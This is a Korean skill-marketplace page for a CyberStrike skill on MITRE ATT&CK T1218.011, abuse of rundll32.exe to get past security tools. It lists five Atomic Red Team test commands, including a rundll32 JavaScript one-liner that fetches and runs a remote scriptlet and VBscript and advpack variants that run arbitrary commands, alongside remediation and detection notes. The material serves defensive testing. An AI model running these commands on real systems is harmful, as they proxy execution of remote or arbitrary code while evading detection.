t1218-011-rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code.

설치로 이동

저장소: CyberStrikeus/CyberStrike
최근 소스 활동: 2026년 4월 22일 14:54
감지된 SKILL.md 언어: 영어
스타: 1,653
포크: 254

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.

직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.

npx skills add https://github.com/CyberStrikeus/CyberStrike --skill t1218-011-rundll32

명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.

로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md

소스 지침 · 읽기 전용 미리보기

검색으로 돌아가기 설치로 돌아가기

T1218.011 Rundll32

Sub-technique of: T1218

High-Level Description

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.

Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.

Kill Chain Phase

Defense Evasion (TA0005)

Platforms: Windows

What to Check

Identify if Rundll32 technique is applicable to target environment
Check Windows systems for indicators of Rundll32
Verify mitigations are bypassed or absent (1 known mitigations)
Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Rundll32 execute JavaScript Remote Payload With GetObject

Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. This has been used by Win32/Poweliks malware and works as described here

Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed.

Supported Platforms: windows

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();

Atomic Test 2: Rundll32 execute VBscript command

Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched

Supported Platforms: windows

rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)

Atomic Test 3: Rundll32 execute VBscript command using Ordinal number

Supported Platforms: windows

rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)

Atomic Test 4: Rundll32 advpack.dll Execution

Test execution of a command using rundll32.exe with advpack.dll. Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml Upon execution calc.exe will be launched

Supported Platforms: windows

rundll32.exe advpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,

Dependencies:

Inf file must exist on disk at specified location ("#{inf_to_execute}")

Atomic Test 5: Rundll32 ieadvpack.dll Execution

Test execution of a command using rundll32.exe with ieadvpack.dll. Upon execution calc.exe will be launched

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml

Supported Platforms: windows

rundll32.exe ieadvpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,

Dependencies:

Inf file must exist on disk at specified location ("#{inf_to_execute}")

Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

Identify Attack Surface: Determine if the target environment is susceptible to Rundll32 by examining the target platforms (Windows).
Assess Existing Defenses: Review whether mitigations for T1218.011 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.

Remediation Guide

M1050 Exploit Protection

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.

Detection

Detection Strategy for T1218.011 Rundll32 Abuse

Risk Assessment

Finding	Severity	Impact
Rundll32 technique applicable	Medium	Defense Evasion

CWE Categories

CWE ID	Title
CWE-693	Protection Mechanism Failure

name	T1218.011_rundll32
description	Adversaries may abuse rundll32.exe to proxy execution of malicious code.
category	configuration
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1218.011","defense-evasion","windows","sub-technique"]
technique_id	T1218.011
tactic	defense-evasion
all_tactics

name	T1218.011_rundll32
description	Adversaries may abuse rundll32.exe to proxy execution of malicious code.
category	configuration
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1218.011","defense-evasion","windows","sub-technique"]
technique_id	T1218.011
tactic	defense-evasion
all_tactics

t1218-011-rundll32

소스 정보

설치 방법

소스 파일 검토

이 저장소의 다른 Skills

이 저장소의 다른 Skills

T1218.011 Rundll32

High-Level Description

Kill Chain Phase

What to Check

How to Test

Atomic Red Team Tests

Atomic Test 1: Rundll32 execute JavaScript Remote Payload With GetObject

Atomic Test 2: Rundll32 execute VBscript command

Atomic Test 3: Rundll32 execute VBscript command using Ordinal number

Atomic Test 4: Rundll32 advpack.dll Execution

Atomic Test 5: Rundll32 ieadvpack.dll Execution

Manual Testing

Remediation Guide

M1050 Exploit Protection

Detection

Detection Strategy for T1218.011 Rundll32 Abuse

Risk Assessment

CWE Categories

References